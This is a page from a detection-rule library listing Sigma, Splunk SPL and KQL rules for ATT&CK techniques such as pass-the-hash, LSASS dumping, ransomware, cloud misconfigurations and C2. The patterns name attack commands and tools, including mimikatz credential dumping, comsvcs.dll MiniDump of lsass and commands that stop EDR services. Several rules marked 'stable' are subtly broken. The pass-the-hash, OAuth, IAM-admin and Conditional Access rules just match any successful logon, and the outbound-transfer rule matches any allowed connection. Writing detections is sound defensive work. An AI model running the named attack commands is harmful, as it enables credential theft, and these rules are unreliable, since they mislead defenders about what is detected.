T1021.001 — Remote Services: Remote Desktop Protocol

Detects RDP connections from non-standard source IPs — may indicate lateral movement using stolen credentials.

medium Sigma

rdplateral-movementremote-desktop

title: Lateral Movement – RDP from Unusual Source
id: scw-t1021-001-ub4x
status: stable
level: medium
description: |
  Detects RDP connections from non-standard source IPs — may indicate lateral movement using stolen credentials.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.rdp
  - attack.t1021.001
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
      dst_port: '3389'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Maintain a whitelist of approved RDP source IPs. Alert on any connections from workstations to workstations.

Lateral Movement – WMI Remote Execution

T1047 — Windows Management Instrumentation

Detects WMI-based remote process execution — a fileless lateral movement technique used by advanced adversaries.

high Sigma

wmilateral-movementfileless

title: Lateral Movement – WMI Remote Execution
id: scw-t1047-ub4x
status: stable
level: high
description: |
  Detects WMI-based remote process execution — a fileless lateral movement technique used by advanced adversaries.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.wmi
  - attack.t1047
logsource:
  category: process_creation
detection:
  selection:
      Image|endswith: '\wmic.exe'
      CommandLine|contains:
        - '/node:'
        - 'process call create'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: WMI remote execution is a strong indicator of hands-on-keyboard adversary activity.

Lateral Movement – Pass-the-Hash

T1550.002 — Use Alternate Authentication Material: Pass the Hash

Detects NTLM authentication patterns consistent with pass-the-hash attacks — using stolen hash values for lateral movement.

critical Sigma

pass-the-hashntlmcredential-abuse

title: Lateral Movement – Pass-the-Hash
id: scw-t1550-002-ub4x
status: stable
level: critical
description: |
  Detects NTLM authentication patterns consistent with pass-the-hash attacks — using stolen hash values for lateral movement.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.pass_the_hash
  - attack.t1550.002
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Look for NTLM type 3 logons with null domain from unexpected source hosts. Restrict NTLM where possible.

Persistence – Registry Run Key Modification

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys

Detects modification of Windows Registry Run keys — a classic persistence mechanism that ensures malware survives reboot.

high Sigma

registryrun-keypersistence

title: Persistence – Registry Run Key Modification
id: scw-t1547-001-ub4x
status: stable
level: high
description: |
  Detects modification of Windows Registry Run keys — a classic persistence mechanism that ensures malware survives reboot.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.registry
  - attack.t1547.001
logsource:
  category: registry_set
detection:
  selection:
      TargetObject|contains:
        - '\CurrentVersion\Run\'
        - '\CurrentVersion\RunOnce\'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Baseline known good entries. Focus on new entries pointing to temp directories or encoded PowerShell.

Persistence – WMI Event Subscription

T1546.003 — Event Triggered Execution: WMI Event Subscription

Detects WMI event subscription creation — a stealthy persistence technique that survives reboots without visible Registry changes.

high Sigma

wmievent-subscriptionpersistence

title: Persistence – WMI Event Subscription
id: scw-t1546-003-ub4y
status: stable
level: high
description: |
  Detects WMI event subscription creation — a stealthy persistence technique that survives reboots without visible Registry changes.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.wmi
  - attack.t1546.003
logsource:
  category: process_creation
detection:
  selection:
      CommandLine|contains:
        - 'EventFilter'
        - 'EventConsumer'
        - 'FilterToConsumerBinding'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: WMI persistence is stealthy and often overlooked. Check for MOF files and WMI repository changes.

Privilege Escalation – Sudo to Root (Linux)

T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Detects privilege escalation via sudo to root — monitors for users gaining root access through sudo commands.

medium Sigma

sudolinuxprivilege-escalation

title: Privilege Escalation – Sudo to Root (Linux)
id: scw-t1548-003-ub4y
status: stable
level: medium
description: |
  Detects privilege escalation via sudo to root — monitors for users gaining root access through sudo commands.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.sudo
  - attack.t1548.003
logsource:
  category: process_creation
detection:
  selection:
      CommandLine|contains:
        - 'sudo su'
        - 'sudo -i'
        - 'sudo bash'
        - 'sudo /bin/sh'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Baseline expected sudo usage. Alert on first-time sudo by service accounts or during off-hours.

New Local Admin Created

T1136.001 — Create Account: Local Account

Detects creation of new local administrator accounts — a common persistence and privilege escalation technique.

high Sigma

local-adminaccount-creationpersistence

title: New Local Admin Created
id: scw-t1136-001-ub4y
status: stable
level: high
description: |
  Detects creation of new local administrator accounts — a common persistence and privilege escalation technique.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.local_admin
  - attack.t1136.001
logsource:
  category: process_creation
detection:
  selection:
      CommandLine|contains:
        - 'net localgroup administrators'
        - 'Add-LocalGroupMember -Group Administrators'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Any new admin account outside change management windows is suspicious. Correlate with helpdesk tickets.

Outbound Data Transfer Spike

T1048 — Exfiltration Over Alternative Protocol

Detects anomalous outbound data transfer volume — may indicate data exfiltration to external destinations.

high Sigma

exfiltrationdata-transfernetwork

title: Outbound Data Transfer Spike
id: scw-t1048-ub4y
status: stable
level: high
description: |
  Detects anomalous outbound data transfer volume — may indicate data exfiltration to external destinations.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.exfiltration
  - attack.t1048
logsource:
  category: firewall
detection:
  selection:
      action: 'allowed'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Requires baseline of normal transfer volumes. Focus on transfers to rare destinations during off-hours.

DNS Tunneling – Anomalous Query Volume

T1048.003 — Exfiltration Over Alternative Protocol: DNS

Detects excessive DNS queries to a single domain — may indicate DNS tunneling for data exfiltration or C2 communication.

high Sigma

dns-tunnelingexfiltrationdns

title: DNS Tunneling – Anomalous Query Volume
id: scw-t1048-003-ub4y
status: stable
level: high
description: |
  Detects excessive DNS queries to a single domain — may indicate DNS tunneling for data exfiltration or C2 communication.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.dns_tunneling
  - attack.t1048.003
logsource:
  category: dns
detection:
  selection:
      query|contains:
        - '.'
  condition: selection | count(query) by dst_domain > 50
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Look for high query volume to newly registered domains with high entropy subdomains.

Exfiltration to Cloud Storage

T1567.002 — Exfiltration Over Web Service: Cloud Storage

Detects data uploads to public cloud storage services — may indicate exfiltration to attacker-controlled cloud storage.

high Sigma

cloud-storageexfiltrationdlp

title: Exfiltration to Cloud Storage
id: scw-t1567-002-ub4y
status: stable
level: high
description: |
  Detects data uploads to public cloud storage services — may indicate exfiltration to attacker-controlled cloud storage.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.cloud_storage
  - attack.t1567.002
logsource:
  category: proxy
detection:
  selection:
      dst_domain|contains:
        - 'dropbox.com'
        - 'drive.google.com'
        - 'mega.nz'
        - 'transfer.sh'
        - 'sendspace.com'
        - 'anonfiles.com'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Whitelist sanctioned cloud storage. Focus on uploads during off-hours or by service accounts.

Email Exfiltration – Mass Forward Rule

T1114.003 — Email Collection: Email Forwarding Rule

Detects creation of email forwarding rules to external addresses — a stealthy exfiltration technique for ongoing data theft.

high Sigma

email-forwardingexfiltrationexchange

title: Email Exfiltration – Mass Forward Rule
id: scw-t1114-003-ub4y
status: stable
level: high
description: |
  Detects creation of email forwarding rules to external addresses — a stealthy exfiltration technique for ongoing data theft.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.email_forwarding
  - attack.t1114.003
logsource:
  category: email
detection:
  selection:
      action|contains:
        - 'forward'
        - 'redirect'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Monitor for rules forwarding to external domains. Particularly suspicious when created by compromised accounts.

Ransomware – Mass File Encryption Pattern

T1486 — Data Encrypted for Impact

Detects mass file rename operations with common ransomware extensions — indicates active encryption in progress.

critical Sigma

ransomwareencryptionfile-rename

title: Ransomware – Mass File Encryption Pattern
id: scw-t1486-ub4y
status: stable
level: critical
description: |
  Detects mass file rename operations with common ransomware extensions — indicates active encryption in progress.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.ransomware
  - attack.t1486
logsource:
  category: file_event
detection:
  selection:
      TargetFilename|endswith:
        - '.encrypted'
        - '.locked'
        - '.crypto'
        - '.crypt'
        - '.enc'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: CRITICAL — if this fires, initiate incident response immediately. Isolate affected hosts.

Phishing – OAuth Consent Grant Attack

T1528 — Steal Application Access Token

Detects suspicious OAuth consent grants — attackers trick users into granting malicious apps access to their cloud data.

high Sigma

oauthconsent-grantphishing

title: Phishing – OAuth Consent Grant Attack
id: scw-t1528-ub4y
status: stable
level: high
description: |
  Detects suspicious OAuth consent grants — attackers trick users into granting malicious apps access to their cloud data.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.oauth
  - attack.t1528
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Monitor for consent grants to unverified apps. Implement admin consent workflow in Azure AD.

Phishing – Suspicious Email Attachment Execution

T1566.001 — Phishing: Spearphishing Attachment

Detects execution of processes spawned by email clients or Office applications opening attachments — classic phishing payload delivery.

high Sigma

phishingemail-attachmentoffice

title: Phishing – Suspicious Email Attachment Execution
id: scw-t1566-001-ub4z
status: stable
level: high
description: |
  Detects execution of processes spawned by email clients or Office applications opening attachments — classic phishing payload delivery.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.phishing
  - attack.t1566.001
logsource:
  category: process_creation
detection:
  selection:
      ParentImage|endswith:
        - '\outlook.exe'
        - '\WINWORD.EXE'
        - '\EXCEL.EXE'
        - '\POWERPNT.EXE'
      Image|endswith:
        - '\cmd.exe'
        - '\powershell.exe'
        - '\wscript.exe'
        - '\mshta.exe'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: High-fidelity rule. Office spawning cmd/powershell is almost always malicious in enterprise environments.

Cloud – S3 Bucket Made Public

T1530 — Data from Cloud Storage

Detects AWS S3 bucket policy changes that make a bucket publicly accessible — a critical cloud misconfiguration.

critical Sigma

awss3public-bucketcloud

title: Cloud – S3 Bucket Made Public
id: scw-t1530-ub4z
status: stable
level: critical
description: |
  Detects AWS S3 bucket policy changes that make a bucket publicly accessible — a critical cloud misconfiguration.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.aws
  - attack.t1530
logsource:
  category: webserver
detection:
  selection:
      cs-method: 'PUT'
      cs-uri|contains:
        - 'policy'
        - 'acl'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Block public S3 access at the organization level. Any public bucket alert requires immediate investigation.

Cloud – New IAM User Created with Admin

T1136.003 — Create Account: Cloud Account

Detects creation of IAM users with administrative privileges — may indicate an attacker establishing persistent cloud access.

high Sigma

iamcloud-adminpersistence

title: Cloud – New IAM User Created with Admin
id: scw-t1136-003-ub4z
status: stable
level: high
description: |
  Detects creation of IAM users with administrative privileges — may indicate an attacker establishing persistent cloud access.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.iam
  - attack.t1136.003
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: All new admin accounts should go through change management. Alert on any created outside approved processes.

Cloud – Azure AD Conditional Access Disabled

T1562.001 — Impair Defenses: Disable or Modify Tools

Detects disabling of Azure AD Conditional Access policies — weakens security posture and may indicate compromised admin account.

critical Sigma

azure-adconditional-accesscloud-security

title: Cloud – Azure AD Conditional Access Disabled
id: scw-t1562-001-ub4z
status: stable
level: critical
description: |
  Detects disabling of Azure AD Conditional Access policies — weakens security posture and may indicate compromised admin account.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.azure_ad
  - attack.t1562.001
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Conditional Access changes should be strictly controlled. Monitor for policy deletions and modifications.

Cloud – GCP Firewall Rule Opened to World

T1562.007 — Impair Defenses: Disable or Modify Cloud Firewall

Detects GCP firewall rules being modified to allow traffic from 0.0.0.0/0 — exposing services to the entire internet.

critical Sigma

gcpfirewallcloud-exposure

title: Cloud – GCP Firewall Rule Opened to World
id: scw-t1562-007-ub4z
status: stable
level: critical
description: |
  Detects GCP firewall rules being modified to allow traffic from 0.0.0.0/0 — exposing services to the entire internet.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.gcp
  - attack.t1562.007
logsource:
  category: firewall
detection:
  selection:
      action: 'allowed'
      src_ip: '0.0.0.0'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Block 0.0.0.0/0 ingress rules at the organization policy level. Any such rule is a critical misconfiguration.

Cloud – AWS Root Account Used

T1078.004 — Valid Accounts: Cloud Accounts

Detects usage of the AWS root account — root should almost never be used in production. May indicate credential compromise.

critical Sigma

awsroot-accountcloud-security

title: Cloud – AWS Root Account Used
id: scw-t1078-004-ub4z
status: stable
level: critical
description: |
  Detects usage of the AWS root account — root should almost never be used in production. May indicate credential compromise.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.aws
  - attack.t1078.004
logsource:
  category: authentication
detection:
  selection:
      User: 'root'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: AWS root account should only be used for initial setup. Enable MFA and alert on any usage.

C2 – Network Beaconing Pattern

T1071.001 — Application Layer Protocol: Web Protocols

Detects regular periodic network connections — consistent intervals suggest automated C2 beaconing behavior.

high Sigma

beaconingc2periodic-connection

title: C2 – Network Beaconing Pattern
id: scw-t1071-001-ub50
status: stable
level: high
description: |
  Detects regular periodic network connections — consistent intervals suggest automated C2 beaconing behavior.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.beaconing
  - attack.t1071.001
logsource:
  category: proxy
detection:
  selection:
      dst_domain|contains:
        - '.'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Use statistical analysis to detect regular intervals. Focus on connections to low-reputation domains.

C2 – Tor Network Connection

T1090.003 — Proxy: Multi-hop Proxy

Detects connections to known Tor entry/exit nodes — may indicate C2 communication or data exfiltration through the Tor network.

high Sigma

toranonymizationc2

title: C2 – Tor Network Connection
id: scw-t1090-003-ub50
status: stable
level: high
description: |
  Detects connections to known Tor entry/exit nodes — may indicate C2 communication or data exfiltration through the Tor network.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.tor
  - attack.t1090.003
logsource:
  category: firewall
detection:
  selection:
      dst_port:
        - '9001'
        - '9030'
        - '9050'
        - '9051'
        - '9150'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Block Tor at the firewall level. Any successful connection is a policy violation in most enterprises.

Initial Access – Exposed RDP to Internet

T1133 — External Remote Services

Detects RDP connections from external IP addresses — exposed RDP is a top initial access vector for ransomware gangs.

critical Sigma

rdpexposed-serviceinitial-access

title: Initial Access – Exposed RDP to Internet
id: scw-t1133-ub50
status: stable
level: critical
description: |
  Detects RDP connections from external IP addresses — exposed RDP is a top initial access vector for ransomware gangs.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.rdp
  - attack.t1133
logsource:
  category: firewall
detection:
  selection:
      action: 'allowed'
      dst_port: '3389'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: NEVER expose RDP directly to the internet. Use VPN or Azure Bastion. This is the #1 ransomware entry point.

Initial Access – VPN Login from Unusual Country

T1133 — External Remote Services

Detects VPN authentication from unexpected geographic locations — may indicate stolen VPN credentials being used from abroad.

high Sigma

vpngeo-anomalyinitial-access

title: Initial Access – VPN Login from Unusual Country
id: scw-t1133-ub50
status: stable
level: high
description: |
  Detects VPN authentication from unexpected geographic locations — may indicate stolen VPN credentials being used from abroad.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.vpn
  - attack.t1133
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Requires geo-IP enrichment. Maintain a list of expected countries and alert on deviations.

Discovery – BloodHound/SharpHound Execution

T1087.002 — Account Discovery: Domain Account

Detects execution of BloodHound or SharpHound — Active Directory reconnaissance tools used by attackers to map attack paths.

critical Sigma

bloodhoundsharphoundad-recon

title: Discovery – BloodHound/SharpHound Execution
id: scw-t1087-002-ub50
status: stable
level: critical
description: |
  Detects execution of BloodHound or SharpHound — Active Directory reconnaissance tools used by attackers to map attack paths.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.bloodhound
  - attack.t1087.002
logsource:
  category: process_creation
detection:
  selection:
      Image|endswith:
        - '\SharpHound.exe'
        - '\BloodHound.exe'
      CommandLine|contains:
        - 'SharpHound'
        - 'BloodHound'
        - 'Invoke-BloodHound'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Zero legitimate use in most environments. Immediate incident response trigger.

Discovery – Mass Internal Port Scanning

T1046 — Network Service Discovery

Detects a single host making connections to many internal ports — indicates network reconnaissance or worm propagation.

high Sigma

port-scannetwork-recondiscovery

title: Discovery – Mass Internal Port Scanning
id: scw-t1046-ub50
status: stable
level: high
description: |
  Detects a single host making connections to many internal ports — indicates network reconnaissance or worm propagation.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.port_scan
  - attack.t1046
logsource:
  category: firewall
detection:
  selection:
      action: 'allowed'
  condition: selection | count(dst_port) by src_ip > 20
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Exclude vulnerability scanners and monitoring tools. Focus on workstation-to-workstation scanning.

Execution – MSHTA Abuse

T1218.005 — System Binary Proxy Execution: Mshta

Detects mshta.exe executing remote or suspicious HTA content — a common Living-off-the-Land technique for code execution.

high Sigma

mshtalolbinexecution

title: Execution – MSHTA Abuse
id: scw-t1218-005-ub50
status: stable
level: high
description: |
  Detects mshta.exe executing remote or suspicious HTA content — a common Living-off-the-Land technique for code execution.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.mshta
  - attack.t1218.005
logsource:
  category: process_creation
detection:
  selection:
      Image|endswith: '\mshta.exe'
      CommandLine|contains:
        - 'http'
        - 'javascript:'
        - 'vbscript:'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: mshta.exe with network or script arguments is almost always malicious. Consider blocking mshta.exe via AppLocker.

Execution – DLL Side-Loading

T1574.002 — Hijack Execution Flow: DLL Side-Loading

Detects suspicious DLL loading from non-standard paths — may indicate DLL side-loading used for code execution and evasion.

medium Sigma

dll-sideloadexecutionevasion

title: Execution – DLL Side-Loading
id: scw-t1574-002-ub51
status: stable
level: medium
description: |
  Detects suspicious DLL loading from non-standard paths — may indicate DLL side-loading used for code execution and evasion.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.dll_sideload
  - attack.t1574.002
logsource:
  category: image_load
detection:
  selection:
      ImageLoaded|contains:
        - '\AppData\Local\Temp\'
        - '\Users\Public\'
        - '\ProgramData\'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Focus on DLLs loaded from temp directories by signed executables. Cross-reference with known vulnerable applications.

Impact – Mass Account Lockout

T1531 — Account Access Removal

Detects mass account lockouts — may indicate a password spray attack or intentional disruption of user access.

high Sigma

account-lockoutimpactdisruption

title: Impact – Mass Account Lockout
id: scw-t1531-ub51
status: stable
level: high
description: |
  Detects mass account lockouts — may indicate a password spray attack or intentional disruption of user access.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.account_lockout
  - attack.t1531
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'failure'
  condition: selection | count(User) by src_ip > 10
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Differentiate between targeted spray (few attempts per account) and lockout attack (many attempts per account).

Impact – Mass File Deletion

T1485 — Data Destruction

Detects mass file deletion operations — may indicate ransomware, destructive malware, or insider threat activity.

critical Sigma

file-deletiondestructionransomware

title: Impact – Mass File Deletion
id: scw-t1485-ub51
status: stable
level: critical
description: |
  Detects mass file deletion operations — may indicate ransomware, destructive malware, or insider threat activity.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.file_deletion
  - attack.t1485
logsource:
  category: file_event
detection:
  selection:
      TargetFilename|endswith:
        - '.bak'
        - '.sql'
        - '.mdf'
        - '.xlsx'
        - '.docx'
        - '.pdf'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: CRITICAL — mass deletion of business files requires immediate response. Check for ransomware indicators.

LSASS Process Memory Dump Attempt

T1003.001 — OS Credential Dumping: LSASS Memory

Detects attempts to dump the memory of the Local Security Authority Subsystem Service (LSASS) process, which stores sensitive credentials. Attackers often do this to steal hashes or plaintext passwords for lateral movement.

critical Splunk SPL

credential-accesswindowslsassdumpmimikatz

index=windows sourcetype=WinEventLog:Security OR sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
(EventCode=4688 OR EventID=1)
(
    CommandLine IN ("*procdump.exe -accepteula*", "*comsvcs.dll MiniDump*", "*taskmgr.exe /dmp*", "*dbghelp.dll*") AND
    (CommandLine="*lsass.exe*" OR ParentCommandLine="*lsass.exe*")
) OR (
    CommandLine="*mimikatz.exe*" AND CommandLine="*sekurlsa::logonpasswords*"
)
| stats count by _time, Host, User, CommandLine, ParentCommandLine, Image, ParentImage
| sort -_time

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Procdump often requires the `-accepteula` flag on first run. `taskmgr.exe /dmp` is a legitimate way to dump processes but is rare for LSASS by normal users. `rundll32.exe comsvcs.dll` is another common method. False positives may occur if legitimate administrators are performing incident response activities. Exclude known administrative accounts or specific hosts where this activity is sanctioned. Ensure Sysmon Event ID 1 (Process Create) is enabled and collected for comprehensive detection.

Security Service Disable Attempt

T1562.002 — Impair Defenses: Disable or Modify Tools

Identifies attempts to stop or disable critical security services like antivirus, EDR, or Windows Defender. This is a common defense evasion technique used by attackers to hinder detection and remediation.

high Splunk SPL

defense-evasionwindowssecurity-productservice

index=windows sourcetype=WinEventLog:Security OR sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
(EventCode=4688 OR EventID=1)
(
    CommandLine="*sc.exe* stop*" OR CommandLine="*sc.exe* disable*" OR CommandLine="*sc.exe* delete*" OR
    CommandLine="*Set-Service* -Name* -Status Stopped*" OR CommandLine="*Set-Service* -Name* -StartupType Disabled*" OR
    CommandLine="*Stop-Service* -Name*" OR
    CommandLine="*net stop*" OR
    CommandLine="*taskkill* /im*" OR
    CommandLine="*reg add* *Start* /v 4*" OR CommandLine="*reg add* *DisableAntiSpyware* /v 1*"
)
(
    CommandLine IN ("*WinDefend*", "*MsMpEng*", "*SenseNdr*", "*wscsvc*", "*Sophos*", "*CrowdStrike*", "*CarbonBlack*", "*Defender*", "*AVService*", "*EDRService*", "*Kaspersky*", "*McAfee*", "*Symantec*") OR
    ParentCommandLine IN ("*WinDefend*", "*MsMpEng*", "*SenseNdr*", "*wscsvc*", "*Sophos*", "*CrowdStrike*", "*CarbonBlack*", "*Defender*", "*AVService*", "*EDRService*", "*Kaspersky*", "*McAfee*", "*Symantec*")
)
| stats count by _time, Host, User, CommandLine, ParentCommandLine, Image, ParentImage
| sort -_time

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: This rule detects common command-line patterns used to stop or disable services, including Windows Defender and common EDR/AV products. False positives can occur if legitimate administrators manage services via command line. Baseline normal administrative activity and exclude known privileged accounts or specific scripts. Ensure Sysmon Event ID 1 (Process Create) is enabled and collected. The list of service names is illustrative and should be customized to your environment's deployed security software.

Outbound Connection to Public Text Sharing Service

T1102.002 — Web Service: Bidirectional Communication

Monitors for outbound network connections to well-known public text sharing or paste services. Attackers often leverage these services for command and control (C2) communication, data staging, or exfiltration, as they are commonly allowed by firewalls.

medium Splunk SPL

c2data-exfiltrationnetworkweb-serviceproxy

index=<your_network_index> sourcetype=<your_proxy_or_firewall_sourcetype>
(dest_ip=* OR url=*)
(
    dest="*pastebin.com*" OR url="*pastebin.com*" OR
    dest="*pastie.org*" OR url="*pastie.org*" OR
    dest="*github.com/gist*" OR url="*github.com/gist*" OR
    dest="*controlc.com*" OR url="*controlc.com*" OR
    dest="*privnote.com*" OR url="*privnote.com*" OR
    dest="*anonfiles.com*" OR url="*anonfiles.com*"
)
| stats count by _time, src_ip, dest_ip, url, user
| sort -_time

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: This rule requires network proxy or firewall logs that capture destination domains/URLs and source IPs. Customize `index` and `sourcetype` fields to match your environment. False positives can occur if legitimate users access these sites for benign purposes. Consider whitelisting specific users or source IPs that have a business need to access these services. A high volume of connections or connections from non-browser processes should increase suspicion.

Suspicious Scheduled Task Creation

T1053.005 — Scheduled Task/Job: Scheduled Task

Detects the creation of new scheduled tasks that include suspicious keywords or are created by unusual processes. Scheduled tasks are a common persistence mechanism for attackers to maintain access to a compromised system.

high KQL (Sentinel)

persistencewindowsscheduled-taskendpointliving-off-the-land

DeviceProcessEvents
| where ActionType == "ProcessCreated"
| where InitiatingProcessCommandLine contains "schtasks.exe"
| where InitiatingProcessCommandLine contains " /create"
| where InitiatingProcessCommandLine contains " /tn " // Task Name
| where InitiatingProcessCommandLine contains " /tr " // Task Run
| where InitiatingProcessCommandLine has_any ("powershell.exe", "cmd.exe", "mshta.exe", "regsvr32.exe", "rundll32.exe", "bitsadmin.exe", "certutil.exe", "invoke-expression", "iex", "system32\\config\\systemprofile\\desktop", "c:\\users\\public\\", "c:\\programdata\\", "$env:temp\\", "net user", "net localgroup")
| extend TaskName = extract(@"/tn\s+""?([^""]+)""?", 1, InitiatingProcessCommandLine)
| extend TaskAction = extract(@"/tr\s+""?([^""]+)""?", 1, InitiatingProcessCommandLine)
| project-reorder TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessCommandLine, TaskName, TaskAction, FolderPath
| sort by TimeGenerated desc

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

